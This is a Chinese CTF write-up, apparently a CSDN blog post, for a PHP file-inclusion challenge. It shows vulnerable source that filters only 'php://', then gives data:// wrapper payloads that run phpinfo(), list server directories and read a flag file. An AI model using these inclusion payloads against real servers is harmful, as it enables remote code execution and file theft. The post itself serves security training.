WEB:Web_php_include(多解)

文章介绍了如何利用strstr函数来处理含有php://协议的字符串,通过data://协议进行PHP代码注入,从而获取服务器信息,包括文档根目录、当前目录文件列表,甚至读取特定文件内容,如flag文件。
摘要由CSDN通过智能技术生成

背景知识

文件包含

file://协议

php://协议

data://协议

了解strstr函数

题目

<?php
show_source(__FILE__);
echo $_GET['hello']; /*可以构造payload*/
$page=$_GET['page'];
while (strstr($page, "php://")) {   /*strstr()函数*/
    $page=str_replace("php://", "", $page); /*page参数中带有php://的都会被替换成空*/
}
include($page);
?>

由于file://协议用于本地系统,所以考虑用data://协议

先进行测试

/?page=data://text/plain,<?php phpinfo()?>  /*可以使用base64防止乱码问题*/

再利用,可得到目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

再利用,可得到当前目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

看到fl4g文件,再用 file_get_contents 就可以读取里面的内容

/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>

得到flag

其他解法待更新

参考文章链接:

https://blog.csdn.net/weixin_43818995/article/details/104164700

https://blog.csdn.net/weixin_63810302/article/details/125383740

https://blog.csdn.net/yingyugo/article/details/109783035

https://blog.csdn.net/2301_77300311/article/details/130487360

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值